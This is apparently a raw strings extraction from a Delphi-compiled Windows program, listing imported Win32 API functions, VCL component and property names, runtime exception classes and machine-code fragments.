0x4675b0 GetFocus
0x4675b4 GetDlgItem
0x4675b8 GetDesktopWindow
0x4675bc GetDCEx
0x4675c0 GetDC
0x4675c4 GetCursorPos
0x4675c8 GetCursor
0x4675cc GetClientRect
0x4675d0 GetClassNameA
0x4675d4 GetClassInfoA
0x4675d8 GetCapture
0x4675dc GetActiveWindow
0x4675e0 FrameRect
0x4675e4 FindWindowA
0x4675e8 FillRect
0x4675ec EqualRect
0x4675f0 EnumWindows
0x4675f4 EnumThreadWindows
0x4675f8 EndPaint
0x4675fc EnableWindow
0x467600 EnableScrollBar
0x467604 EnableMenuItem
0x467608 DrawTextA
0x46760c DrawMenuBar
0x467610 DrawIconEx
0x467614 DrawIcon
0x467618 DrawFrameControl
0x46761c DrawEdge
0x467620 DispatchMessageA
0x467624 DestroyWindow
0x467628 DestroyMenu
0x46762c DestroyIcon
0x467630 DestroyCursor
0x467634 DeleteMenu
0x467638 DefWindowProcA
0x46763c DefMDIChildProcA
0x467640 DefFrameProcA
0x467644 CreatePopupMenu
0x467648 CreateMenu
0x46764c CreateIcon
0x467650 ClientToScreen
0x467654 CheckMenuItem
0x467658 CallWindowProcA
0x46765c CallNextHookEx
0x467660 BeginPaint
0x467664 CharNextA
0x467668 CharLowerA
0x46766c CharToOemA
0x467670 AdjustWindowRectEx
0x46767c Sleep
0x467684 SafeArrayPtrOfIndex
0x467688 SafeArrayGetUBound
0x46768c SafeArrayGetLBound
0x467690 SafeArrayCreate
0x467694 VariantChangeType
0x467698 VariantCopy
0x46769c VariantClear
0x4676a0 VariantInit
0x4676b0 ImageList_Write
0x4676b4 ImageList_Read
0x4676c4 ImageList_DragMove
0x4676c8 ImageList_DragLeave
0x4676cc ImageList_DragEnter
0x4676d0 ImageList_EndDrag
0x4676d4 ImageList_BeginDrag
0x4676d8 ImageList_Remove
0x4676dc ImageList_DrawEx
0x4676e0 ImageList_Draw
0x4676f0 ImageList_Add
0x4676f8 ImageList_Destroy
0x4676fc ImageList_Create
0x467700 InitCommonControls
0x467708 GetOpenFileNameA

This program must be run under Win32
`DATA
.idata
.rdata
P.reloc
P.rsrc
Boolean
False
Smallint
Integer
Cardinal
String
TObject
TObject
System
IInterface
System
TInterfacedObject
TDateTime
SVWUQ
Z]_^[
YZ]_^[
w;;t$
SVWUQ
Z]_^[
YZ]_^[
_^[YY]
_^[Y]
YZ]_^[
_^[Y]
C<"u1S
Q<"u8S
,$YXZ
~KxI[)
BkU'9
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
_^[YY]
PPRTj
YZXtp
YZXtm1
ZTUWVSPRTj
t=HtN
t-Rf;
t f;J
SVWRP
Z_^[X
tVSVWU
t1SVW
t-Rf;
t f;J
kernel32.dll
GetLongPathNameA
Software\Borland\Locales
Software\Borland\Delphi\Locales
_^[YY]
FFF;M
^[YY]
Uhe^@
odSelected
odGrayed
odDisabled
odChecked
odFocused
odDefault
odHotLight
odInactive
odNoAccel
odNoFocusRect
odReserved1
odReserved2
odComboBoxEdit
Windows
TOwnerDrawState
_^[Y]
_^[Y]
_^[Y]
Magellan MSWHEEL
MouseZ
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
TFileName
Exception
EHeapException
EOutOfMemory
EInOutError
EExternal
EExternalException
EIntError
EDivByZero
ERangeError
EIntOverflow
EMathError
EInvalidOp
EZeroDivide
EOverflow
EUnderflow
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
SysUtils
SysUtils
TThreadLocalCounter
$TMultiReadExclusiveWriteSynchronizer
SWSVj
False
_^[Y]
$Z_^[
$Z_^[
^[YY]
<*t"<0r=<9w9i
INFNAN
QS<$t
_^[YY]
_^[YY]
$YZ_^[
t%HtIHtm
AM/PM
_^[YY]
SVWUQ
$Z]_^[
_^[Y]
QQQQQQSVW3
QQQQQSVW
D$PPj
D$LPj
_^[Y]
_^[YY]
TErrorRec
TExceptRec
t<HtH
$YZ^[
$YZ^[
WUWSj
YZ]_^[
_^[Y]
m/d/yy
mmmm d, yyyy
AMPM
AMPM
:mm:ss
kernel32.dll
GetDiskFreeSpaceExA
SVWUQ
(Z]_^[
SVWUQ
;w$t|
Z]_^[
;F$t=
;C$t4
_^[Y]
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarOr
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
TCustomVariantType
TCustomVariantType
Variants
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgError
EVariantBadVarTypeErrorp
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedError
EVariantDispatchError
t?Htb
QQQQSV
Empty
Smallint
Integer
Single
Double
Currency
OleStr
Dispatch
Error
Boolean
Variant
Unknown
Decimal
ShortInt
LongWord
Int64
String
Array
ByRef
Variants
_^[YY]
_^[Y]
SVWUQ
Z]_^[
t~h$hF
_^[Y]
False
_^[Y]
_^[YY]
$YZ^[
TBiDiMode
bdLeftToRight
bdRightToLeft
bdRightToLeftNoAlign
bdRightToLeftReadingOnly
Classes
ssShift
ssAlt
ssCtrl
ssLeft
ssRight
ssMiddle
ssDouble
Classes
TShiftState
THelpContext
THelpType
htKeyword
htContext
Classes
TShortCut
TNotifyEvent
Sender
TObject
EStreamError
EFileStreamError
EFCreateError
EFOpenError
EFilerError(
EReadError
EWriteError
EClassNotFound
EResNotFound
EListError
EBitsError
EStringListError
EComponentError
EOutOfResourcesX
EInvalidOperation
TList
TThreadListt
TBits
TPersistent
TPersistent
Classes
TInterfacedPersistent
TInterfacedPersistent
Classes
IStringsAdapter,
Classes
TStrings
TStrings
Classes
TStringItem
TStringList|
TStringList
Classes
TStream\
THandleStream
TFileStreamH
TCustomMemoryStream
TMemoryStream
TResourceStream
TStreamAdapter
TClassFinder
TFiler
TReader
EThread
TComponentName
IDesignerNotify,
Classes
TComponent
TComponent
Classes
NameT
TBasicActionLink
TBasicAction
TBasicAction
Classes
TIdentMapEntry
TRegGroup
TRegGroups
YZ]_^[
_^[Y]
_^[Y]
SVWUQ
u%CNu
Z]_^[
SVWUQ
$Z]_^[
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
$Z]_^[
UhW1A
_^[YY]
Uh&2A
UhR3A
TIntConst
Uh25A
_^[Y]
_^[Y]
_^[YY]
_^[Y]
UhB9A
Uh#9A
Uh4>A
SVWUQ
Z]_^[
UhBAA
UhNCA
Uh{DA
Uh^DA
W<CNu
PhLMA
Strings
Uh GA
_^[Y]
UhiHA
S$_^[Y]
UhULA
Uh8LA
^[YY]
_^[YY]
SVWUQ
SdZ]_^[
UhGNA
Uh+OA
UhrPA
SVWUQ
$Z]_^[
^[YY]
Uh5]A
Uh_`A
_^[Y]
TPropFixup
TPropIntfFixup
UhNdA
_^[YY]
Owner
UhjfA
UhKfA
Uh3gA
_^[YY]
_^[Y]
C0_^[
Classes
_^[Y]
UhNqA
Uh"qA
UhktA
UhSuA
Uh*vA
False
UhEzA
_^[YY]
QQQQ3
Uh'}A
%s_%d
_^[YY]
^[YY]
QQQQQQQS
SVWUQ
Z]_^[
_^[Y]
S _^[
SVWUQ
Z]_^[
YZ_^[
SVWUQ
Z]_^[
G0_^[
;CDt:
R0_^[]
_^[YY]
TPUtilWindow
TColor
EInvalidGraphic
EInvalidGraphicOperation
TFontPitch
fpDefault
fpVariable
fpFixed
Graphics
TFontName
TFontCharset
TFontStyle
fsBold
fsItalic
fsUnderline
fsStrikeOut
Graphics
TFontStyles
TPenStyle
psSolid
psDash
psDot
psDashDot
psDashDotDot
psClear
psInsideFrame
Graphics
TPenMode
pmBlack
pmWhite
pmNop
pmNot
pmCopy
pmNotCopy
pmMergePenNot
pmMaskPenNot
pmMergeNotPen
pmMaskNotPen
pmMerge
pmNotMerge
pmMask
pmNotMask
pmXor
pmNotXor
Graphics
TBrushStyle
bsSolid
bsClear
bsHorizontal
bsVertical
bsFDiagonal
bsBDiagonal
bsCross
bsDiagCross
Graphics
TGraphicsObject
TGraphicsObject
Graphics
IChangeNotifier,
Graphics
TFont
TFont
Graphics
Charset0
ColorT
HeightP
PitchT
Style
TPen
Graphics
ColorL
StyleT
Width
TBrush
TBrush
Graphics
Color
Style
TCanvas
TCanvas
Graphics
BrushT
CopyMode
Font4
TGraphic
TGraphich
Graphics
TSharedImage
TBitmapImage
TBitmap
TBitmap
Graphics
TIconImage
TIcon
TIconT
Graphics
TResourceManager
^[YY]
_^[YY]
_^[Y]
^[YY]
clBlack
clMaroon
clGreen
clOlive
clNavy
clPurple
clTeal
clGray
clSilver
clRed
clLime
clYellow
clBlue
clFuchsia
clAqua
clWhite
clMoneyGreen
clSkyBlue
clCream
clMedGray
clActiveBorder
clActiveCaption
clAppWorkSpace
clBackground
clBtnFace
clBtnHighlight
clBtnShadow
clBtnText
clCaptionText
clDefault
clGradientActiveCaption
clGradientInactiveCaption
clGrayText
clHighlight
clHighlightText
clHotLight
clInactiveBorder
clInactiveCaption
clInactiveCaptionText
clInfoBk
clInfoText
clMenu
clMenuBar
clMenuHighlight
clMenuText
clNone
clScrollBar
cl3DDkShadow
cl3DLight
clWindow
clWindowFrame
clWindowText
ANSI_CHARSET
DEFAULT_CHARSET
SYMBOL_CHARSET
MAC_CHARSET
SHIFTJIS_CHARSET
HANGEUL_CHARSET
JOHAB_CHARSET
GB2312_CHARSET
CHINESEBIG5_CHARSET
GREEK_CHARSET
TURKISH_CHARSET
HEBREW_CHARSET
ARABIC_CHARSET
BALTIC_CHARSET
RUSSIAN_CHARSET
THAI_CHARSET
EASTEUROPE_CHARSET
OEM_CHARSET
Default
_^[Y]
$YZ^[
E$PVSj
YZ_^[
$Z_^[
_^[YY]
C ;C$s
TBitmapCanvas
TBitmapCanvas
Graphics
@pPV3
_^[YY]
<$BMt
T]_^[
s(;~ t8
D$*Ph
C(_^[Y]
\$4Vj
SVWjH
TPatternManagerSV
_^[YY]
TObjectList
TOrderedList
TStack
comctl32.dll
InitCommonControlsEx
UhM#B
_^[Y]
GetMonitorInfoA
GetSystemMetrics
MonitorFromRect
MonitorFromWindow
MonitorFromPoint
>(r[j
GetMonitorInfo
DISPLAY
>(r[j
GetMonitorInfoA
DISPLAY
>(r[j
GetMonitorInfoW
DISPLAY
EnumDisplayMonitors
USER32.DLL
IHelpSelector,
HelpIntfs
IHelpSystem,
HelpIntfs
ICustomHelpViewer,
HelpIntfs
IExtendedHelpViewer
HelpIntfs
ISpecialWinHelpViewer
HelpIntfs
IHelpManager,
HelpIntfs
EHelpSystemException
THelpViewerNode
THelpManager
UhZ/B
Uhq1B
R(FKu
Uh-3B
Uh#9B
_^[Y]
Uh=;B
SVhT=B
comctl32.dll
InitializeFlatSB
UninitializeFlatSB
FlatSB_GetScrollProp
FlatSB_SetScrollProp
FlatSB_EnableScrollBar
FlatSB_ShowScrollBar
FlatSB_GetScrollRange
FlatSB_GetScrollInfo
FlatSB_GetScrollPos
FlatSB_SetScrollPos
FlatSB_SetScrollInfo
FlatSB_SetScrollRange
TSynchroObject
TCriticalSection
uxtheme.dll
OpenThemeData
CloseThemeData
DrawThemeBackground
DrawThemeText
GetThemeBackgroundContentRect
GetThemePartSize
GetThemeTextExtent
GetThemeTextMetrics
GetThemeBackgroundRegion
HitTestThemeBackground
DrawThemeEdge
DrawThemeIcon
IsThemePartDefined
IsThemeBackgroundPartiallyTransparent
GetThemeColor
GetThemeMetric
GetThemeString
GetThemeBool
GetThemeInt
GetThemeEnumValue
GetThemePosition
GetThemeFont
GetThemeRect
GetThemeMargins
GetThemeIntList
GetThemePropertyOrigin
SetWindowTheme
GetThemeFilename
GetThemeSysColor
GetThemeSysColorBrush
GetThemeSysBool
GetThemeSysSize
GetThemeSysFont
GetThemeSysString
GetThemeSysInt
IsThemeActive
IsAppThemed
GetWindowTheme
EnableThemeDialogTexture
IsThemeDialogTextureEnabled
GetThemeAppProperties
SetThemeAppProperties
GetCurrentThemeName
GetThemeDocumentationProperty
DrawThemeParentBackground
EnableTheming
Uh9JB
UhqJB
UhQKB
IShellFolder,
ShlObj
Uh5LB
TCommonDialog
TCommonDialog
Dialogs
Ctl3D|
HelpContext
OnClose
OnShow
TOpenOption
ofReadOnly
ofOverwritePrompt
ofHideReadOnly
ofNoChangeDir
ofShowHelp
ofNoValidate
ofAllowMultiSelect
ofExtensionDifferent
ofPathMustExist
ofFileMustExist
ofCreatePrompt
ofShareAware
ofNoReadOnlyReturn
ofNoTestFileCreate
ofNoNetworkButton
ofNoLongNames
ofOldStyleDialog
ofNoDereferenceLinks
ofEnableIncludeNotify
ofEnableSizing
ofDontAddToRecent
ofForceShowHidden
Dialogs
TOpenOptions
TOpenOptionEx
ofExNoPlacesBar
Dialogs
TOpenOptionsEx
TOFNotifyEx
TIncludeItemEvent
TOFNotifyEx
Include
Boolean
TOpenDialog
TOpenDialoghPB
Dialogs
FileName
FilterT
FilterIndex
InitialDirHOB
Options
OptionsEx
Title
OnCanClose
OnFolderChange
OnSelectionChange
OnTypeChange
OnIncludeItemSVW
Uh6UB
_^[Y]
UhgVB
Uh9VB
_^[Y]
;Ght4
FileEditStyle
8Z|03
UhE^B
@\@t*U
u"Vh_
Cancel
Abort
Retry
Ignore
NoToAll
YesToAll
commdlg_help
commdlg_FindReplace
WndProcPtr%.8X%.8X
TTimer
ExtCtrls
Enabled
Interval
OnTimerSV
_^[Y]
s'h8jB
Delphi Picture
Delphi Component
UhXkB
MAPI32.DLL
UhDmB
Uh}mB
TConversion
TConversionFormat
TUDAlignButton
udLeft
udRight
ComCtrls
TUDOrientation
udHorizontal
udVertical
ComCtrls
TUDBtnType
btNext
btPrev
ComCtrls
TUpDownDirection
updNone
updUp
updDown
ComCtrls
TUDClickEvent
Sender
TObject
Button
TUDBtnType
TUDChangingEvent
Sender
TObject
AllowChange
Boolean
TUDChangingEventEx
Sender
TObject
AllowChange
Boolean
NewValue
Smallint
Direction
TUpDownDirection
TCustomUpDown
TCustomUpDownhpB
ComCtrls
TUpDown
TUpDown
ComCtrls
AlignButton
Anchorsl
Associate
ArrowKeys
Enabled
Hint<
Increment
ConstraintsTnB
Orientation
ParentShowHint
PopupMenu<
Position
ShowHintd
TabOrder
TabStop
Thousands
Visible
WrapToB
OnChanging
OnChangingExx
OnContextPopup
OnClick
OnEnter
OnExitP
OnMouseDown
OnMouseMoveP
OnMouseUp
THKModifier
hkShift
hkCtrl
hkAlt
hkExt
ComCtrls
THKModifiers
THKInvalidKey
hcNone
hcShift
hcCtrl
hcAlt
hcShiftCtrl
hcShiftAlt
hcCtrlAlt
hcShiftCtrlAlt
ComCtrls
THKInvalidKeys
TCustomHotKey
TCustomHotKey
ComCtrls
THotKey<zB
THotKeyhyB
ComCtrls
Anchors
AutoSize
BiDiMode
Constraints
Enabled
HotKey
InvalidKeys
Modifiers
ParentBiDiMode
ParentShowHint
PopupMenu
ShowHintd
TabOrder
TabStop
Visible
OnChangex
OnContextPopup
OnEnter
OnExitP
OnMouseDown
OnMouseMoveP
OnMouseUp
ECommonCalendarError
TMonthCalColorsd~B
TMonthCalColorsD~B
ComCtrls
BackColor0
TextColor0
TitleBackColor0
TitleTextColor0
MonthBackColor0
TrailingTextColor
TCalDayOfWeek
dowMonday
dowTuesday
dowWednesday
dowThursday
dowFriday
dowSaturday
dowSunday
dowLocaleDefault
ComCtrls
TOnGetMonthInfoEvent
Sender
TObject
Month
Cardinal
MonthBoldInfo
Cardinal
TCommonCalendar
TCommonCalendar
ComCtrls
EMonthCalError
TMonthCalendar
TMonthCalendar|
ComCtrls/
Align
Anchors
AutoSized
BorderWidth
BiDiMode`~B
CalColors
Constraints
MultiSelect
DragCursor0
DragKind
DragMode
Enabled
EndDate|
FirstDayOfWeek
ImeModeT
ImeName
MaxDateT
MaxSelectRange
MinDate
ParentBiDiMode
ParentFont
ParentShowHint
PopupMenu
ShowHint
ShowToday
ShowTodayCircled
TabOrder
TabStop
Visible
WeekNumbers
OnClickx
OnContextPopup
OnDblClick<
OnDragDrop
OnDragOver
OnEndDock
OnEndDrag
OnEnter
OnExit
OnGetMonthInfo,
OnKeyDownx
OnKeyPress,
OnKeyUp
OnStartDock
OnStartDrag
EDateTimeError
TDateTimeKind
dtkDate
dtkTime
ComCtrls
TDTDateMode
dmComboBox
dmUpDown
ComCtrls
TDTDateFormat
dfShort
dfLong
ComCtrls\
TDTCalAlignment
dtaLeft
dtaRight
ComCtrls
TDTParseInputEvent
Sender
TObject
UserString
String
DateAndTime
TDateTime
AllowChange
Boolean
TDateTimePicker
TDateTimePicker\
ComCtrls8
Anchors
BevelEdges
BevelInner
BevelOuter$
BevelKindh
BevelWidth
BiDiModeX
CalAlignment`~B
CalColors
Constraints
Format
ShowCheckbox
Checked0
Color
DateFormat
DateMode
DragCursor0
DragKind
DragMode
Enabled
ImeModeT
ImeName
MaxDate
MinDate
ParseInput
ParentBiDiMode
ParentColor
ParentFont
ParentShowHint
PopupMenu
ShowHintd
TabOrder
TabStop
Visible
OnClick
OnCloseUp
OnChangex
OnContextPopup
OnDropDown
OnDblClick<
OnDragDrop
OnDragOver
OnEndDock
OnEndDrag
OnEnter
OnExit,
OnKeyDownx
OnKeyPress,
OnKeyUp
OnStartDock
OnStartDrag
OnUserInput
comctl32.dll
msctls_updown32
F0;C0
TDBEdit
TDBMemo
_^[Y]
msctls_hotkey32
D$8PS
QQQQQQS
SysMonthCal32
SysDateTimePick32
TThemeServices
Theme manager
2001, 2002 Mike Lischke
^[YY]
!"#$%
THintAction
THintActionX
StdActns
TWinHelpViewer
_^[YY]
_^[YY]
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
_^[Y]
JumpID("","%s")
_^[YY]
_^[Y]
MS_WINHELP
#32770
TCursor
TAlign
alNone
alTop
alBottom
alLeft
alRight
alClient
alCustom
Controls
TDragObject
TDragObjectT
Controls
TBaseDragControlObject
TBaseDragControlObject
Controls
TDragControlObject
TDragControlObjectEx
TDragDockObject(
TDragDockObject
Controls
TDragDockObjectEx
TControlCanvas
TControlCanvas8
Controls
TControlActionLink
TMouseButton
mbLeft
mbRight
mbMiddle
Controls
TDragMode
dmManual
dmAutomatic
Controls
TDragState
dsDragEnter
dsDragLeave
dsDragMove
Controls
TDragKind
dkDrag
dkDock
Controls
TTabOrder
TCaption
TDate
TTime
TAnchorKind
akLeft
akTop
akRight
akBottom
Controls
TAnchors
TConstraintSize
TSizeConstraints
TSizeConstraintsl
Controls
MaxHeight
MaxWidth
MinHeight
MinWidth
TMouseEvent
Sender
TObject
Button
TMouseButton
Shift
TShiftState
Integer
Integer
TMouseMoveEvent
Sender
TObject
Shift
TShiftState
Integer
Integer
TKeyEvent
Sender
TObject
Shift
TShiftState
TKeyPressEvent
Sender
TObject
TDragOverEvent
Sender
TObject
Source
TObject
Integer
Integer
State
TDragState
Accept
Boolean
TDragDropEvent
Sender
TObject
Source
TObject
Integer
Integer
TStartDragEvent
Sender
TObject
DragObject
TDragObject
TEndDragEvent
Sender
TObject
Target
TObject
Integer
Integer
TDockDropEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
TDockOverEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
State
TDragState
Accept
Boolean
TUnDockEvent
Sender
TObject
Client
TControl
NewTarget
TWinControl
Allow
Boolean
TStartDockEvent
Sender
TObject
DragObject
TDragDockObject
TGetSiteInfoEvent
Sender
TObject
DockClient
TControl
InfluenceRect
TRect
MousePos
TPoint
CanDock
Boolean
TCanResizeEvent
Sender
TObject
NewWidth
Integer
NewHeight
Integer
Resize
Boolean
TConstrainedResizeEvent
Sender
TObject
MinWidth
Integer
MinHeight
Integer
MaxWidth
Integer
MaxHeight
Integer
TMouseWheelEvent
Sender
TObject
Shift
TShiftState
WheelDelta
Integer
MousePos
TPoint
Handled
Boolean
TMouseWheelUpDownEvent
Sender
TObject
Shift
TShiftState
MousePos
TPoint
Handled
Boolean
TContextPopupEvent
Sender
TObject
MousePos
TPoint
Handled
Boolean
TControl
TControl
Controls
LeftT
WidthT
Height
Cursor
HelpType
HelpKeyword|
HelpContext0
TWinControlActionLink
TImeMode
imDisable
imClose
imOpen
imDontCare
imSAlpha
imAlpha
imHira
imSKata
imKata
imChinese
imSHanguel
imHanguel
Controls
TImeName
TBorderWidth
TBevelCut
bvNone
bvLowered
bvRaised
bvSpace
Controls
TBevelEdge
beLeft
beTop
beRight
beBottom
Controls
TBevelEdges
TBevelKind
bkNone
bkTile
bkSoft
bkFlat
Controls
TBevelWidth
IDockManager,
Controls
TWinControl
TWinControl
Controls
TCustomControl
TCustomControl
Controls
THintWindow
THintWindow<
Controls
TDockZone
TDockTree
TMouse
crDefault
crArrow
crCross
crIBeam
crSizeNESW
crSizeNS
crSizeNWSE
crSizeWE
crUpArrow
crHourGlass
crDrag
crNoDrop
crHSplit
crVSplit
crMultiDrag
crSQLWait
crAppStart
crHelp
crHandPoint
crSizeAll
crSize
TSiteList
_^[YY]
tPHt8
_^[Y]
S$_^[]
;B0t'
;B8t=
CQ tA
YZ_^[
YZ]_^[
YZ_^[
t%Jt?Jt[
%s (%s)
Z:Pjt
YZ]_^[
$:Cat
u$;~|u
;CLtX3
Qh_^[
YZ_^[
YZ_^[
V:P\t
GP t;
_^[YY]
CH+D$
CL+D$
;s0t=;
:_Wt+
f;Pxt
Uh6,C
KHQRP
UhW4C
UhK7C
Ht7Ht
Ph0=C
IsControl
_^[YY]
YZ_^[
UhBHC
_^[YY]
_^[Y]
8]_^[
,]_^[
YZ_^[
Uh,NC
^[YY]
Uh<PC
RD;PD
:_[up
SVWUQ
Z]_^[
C$PVj
C$_^[
:GauOFKu
_^[Y]
DesignSize
UhIdC
_^[YY]
_^[Y]
t2HtY
,;=0kF
]_^[
UhkxC
_^[Y]
_^[Y]
$Z_^[
_^[YY]
_^[Y]
Uh^}C
^[YY]
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
Z]_^[
_^[YY]
;XDt#
SVWUQ
Z]_^[
t&j7j
YZ]_^[
YZ]_^[
YZ]_^[
t4VS
R|FOu
YZ]_^[
^[YY]
S8_^[]
+CH+E
+SL+U
_^[Y]
f;Pht
_^[Y]
t9;wlt4
YZ_^[
;Bdt*
;Bh|3
R|_^[
_^[Y]
Y_^[]
Y[YY]
t$;C8u
QQQQSVW
;Fdu;
^[YY]
Q8FKu
;Xdt>
t#;^dt
YZ_^[
Y_^[]
^[YY]
+W$;U
+G$;E
_^[Y]
BP_^[]
USER32
WINNLSEnableIME
imm32.dll
ImmGetContext
ImmReleaseContext
ImmGetConversionStatus
ImmSetConversionStatus
ImmSetOpenStatus
ImmSetCompositionWindow
ImmSetCompositionFontA
ImmGetCompositionStringA
ImmIsIME
ImmNotifyIME
YZ_^[
Delphi%.8X
ControlOfs%.8X%.8X
USER32
AnimateWindow
TContainedAction
TContainedAction8
ActnList
Category
TCustomActionList
TCustomActionList\
ActnList
TShortCutList
TShortCutList8
ActnList
TCustomAction
TCustomActionT
ActnList
TActionLinkSV
^[YY]
u*;~8u
R0GNu
SVWUQ
Z]_^[
QLGNu
R0Z_^[
QPFOu
_^[Y]
$:Cjt_
QTGNu
R0Z_^[
Q`FOu
R0]_^[
$;Ctt?
Q\GNu
R0Z_^[
QhGNu
R0Z_^[
QlGNu
R0Z_^[
SVWQf
QpGNu
R0Z_^[
QtFOu
R0]_^[
SVWUQ
$Z]_^[
TChangeLink
TImageIndex
TCustomImageList
TCustomImageListH
ImgList
Rd_^[
s8VV3
S0_^[]
R ;C0|
R,;C4}!
S`]_^[
Bitmap
_^[Y]
comctl32.dll
comctl32.dll
ImageList_WriteEx
EMenuError
TMenuBreak
mbNone
mbBreak
mbBarBreak
Menus
TMenuChangeEvent
Sender
TObject
Source
TMenuItem
Rebuild
Boolean
TMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
ARect
TRect
Selected
Boolean
TAdvancedMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
ARect
TRect
State
TOwnerDrawState
TMenuMeasureItemEvent
Sender
TObject
ACanvas
TCanvas
Width
Integer
Height
Integer
TMenuItemAutoFlag
maAutomatic
maManual
maParent
Menus
TMenuAutoFlag
Menus
TMenuActionLink<
TMenuItem
TMenuItem<
Menus
Action
AutoCheck
AutoHotkeys
AutoLineReduction
Bitmap
Break
Caption
Checked
SubMenuImages
Default
Enabledl
GroupIndex|
HelpContext
ImageIndex
RadioItem
ShortCut
Visible
OnClickT
OnDrawItem
OnAdvancedDrawItem8
OnMeasureItem
TMenu
TMenu`
Menus
Items
TMainMenu
TMainMenuT
Menus
AutoHotkeys
AutoLineReduction
AutoMerge
BiDiMode
Images
OwnerDraw
ParentBiDiMode
OnChange
TPopupAlignment
paLeft
paRight
paCenter
Menus,
TTrackButton
tbRightButton
tbLeftButton
Menusl
TMenuAnimations
maLeftToRight
maRightToLeft
maTopToBottom
maBottomToTop
maNone
Menus
TMenuAnimation
TPopupMenu
TPopupMenu8
Menus
Alignment
AutoHotkeys
AutoLineReduction
AutoPopup
BiDiMode|
HelpContext
Images
MenuAnimation
OwnerDraw
ParentBiDiMode(
TrackButton
OnChange
OnPopup
TPopupList
TMenuItemStack
1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
_^[YY]
f;B`t
Uho$D
CPPVj
Uhn%D
Q<]_^[
SVWUQ
:X?s&
X?ENu
Z]_^[
Sh$%D
ShortCutText
UhK.D
_^[Y]
UhW7D
_^[Y]
P?:S?u
:^8tB
:^9tg
Q<_^[
:^?t1
f;P`t
:]:tJ
Q<]_^[
@?:F?v
Q<]_^[
Q<_^[
W<CNu
6h4MD
SpFOu
$YZ]_^[
_^[Y]
_^[Y]
SVWUQ
Z]_^[
_^[YY]
Uhd\D
S0^[]
_^[Y]
_^[Y]
Ih;J4u
_^[Y]
Uh'hD
UhZfD
Uh=fD
UhxgD
Uh[gD
YZ]_^[
S0_^[
S<&uO
^[YY]
TScrollBarInc
TScrollBarStyle
ssRegular
ssFlat
ssHotTrack
FormsLoD
TControlScrollBar
TControlScrollBarLoD
Forms
ButtonSize0
Color
Increment
Margin
ParentColorT
PositionT
Range
SmoothT
StyleT
ThumbSize
Tracking
Visible
TWindowState
wsNormal
wsMinimized
wsMaximized
Forms
TScrollingWinControl
TScrollingWinControl
Forms
HorzScrollBarloD
VertScrollBarxsD
TFormBorderStyle
bsNone
bsSingle
bsSizeable
bsDialog
bsToolWindow
bsSizeToolWin
Forms
IDesignerHook
Forms
IOleForm,
Forms
TFormStyle
fsNormal
fsMDIChild
fsMDIForm
fsStayOnTop
Forms
TBorderIcon
biSystemMenu
biMinimize
biMaximize
biHelp
Forms
TBorderIcons
TPosition
poDesigned
poDefault
poDefaultPosOnly
poDefaultSizeOnly
poScreenCenter
poDesktopCenter
poMainFormCenter
poOwnerFormCenter
Forms
TDefaultMonitor
dmDesktop
dmPrimary
dmMainForm
dmActiveForm
Forms
TPrintScale
poNone
poProportional
poPrintToFit
Forms
TCloseAction
caNone
caHide
caFree
caMinimize
Forms
TCloseEvent
Sender
TObject
Action
TCloseAction
TCloseQueryEvent
Sender
TObject
CanClose
Boolean
TShortCutEvent
TWMKey
Handled
Boolean
THelpEvent
Command
Integer
CallHelp
Boolean
Boolean
TCustomForm
TCustomForm
Forms
TForm
TForm
FormsU
Actionl
ActiveControl
Align
AlphaBlendl
AlphaBlendValue
Anchors
AutoScroll
AutoSize
BiDiMode
BorderIconstsD
BorderStyled
BorderWidth|
CaptionT
ClientHeightT
ClientWidth0
Color
TransparentColor0
TransparentColorValue
Constraints
Ctl3D
UseDockManager
DefaultMonitor
DockSite0
DragKind
DragMode
Enabled
ParentFont
FormStyleT
Height
HelpFileloD
HorzScrollBar
KeyPreview
OldCreateOrder
ObjectMenuItem
ParentBiDiModeT
PixelsPerInch
PopupMenu
Position
PrintScale
Scaled
ScreenSnap
ShowHintT
SnapBufferloD
VertScrollBar
VisibleT
WidthTqD
WindowState
WindowMenu
OnActivate|
OnCanResize
OnClickxvD
OnClose
OnCloseQuery
OnConstrainedResizex
OnContextPopup
OnCreate
OnDblClick
OnDestroy
OnDockDrop
OnDockOver<
OnDragDrop
OnDragOver
OnEndDock
OnGetSiteInfo
OnHide<wD
OnHelp,
OnKeyDownx
OnKeyPress,
OnKeyUpP
OnMouseDown
OnMouseMoveP
OnMouseUp|
OnMouseWheel
OnMouseWheelDown
OnMouseWheelUp
OnPaint
OnResize
OnShortCut
OnShow
OnStartDock8
OnUnDock
TCustomDockForm
TCustomDockForm
Forms
PixelsPerInch
TMonitor
TScreen
TScreen
Forms
TApplication
TApplication
Forms
t:GNu
^[YY]
;S$t6
;S0t6
]_^[
_^[Y]
_^[Y]
PixelsPerInch
TextHeight
IgnoreFontProperty
_^[YY]
S,_^[]
SVWUQ
$Z]_^[
;Cpu'
F(Z_^[
MDICLIENT
_^[Y]
_^[Y]
;ADti
f#CTf
_^[Y]
_^[YY]
t"GNu
$Z_^[
_^[YY]
_^[Y]
Y_^[]
_^[Y]
_^[Y]
_^[YY]
Ch;Ctt
Cd;Cpt
C\_^[
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
layout text
f;sDtsf
PWj W
CHYZ]_^[
RD;PD
_^[YY]
TApplication
MAINICON
XD;PHu
sx;P`u
;B0uGj
_^[YY]
vcltest3.dll
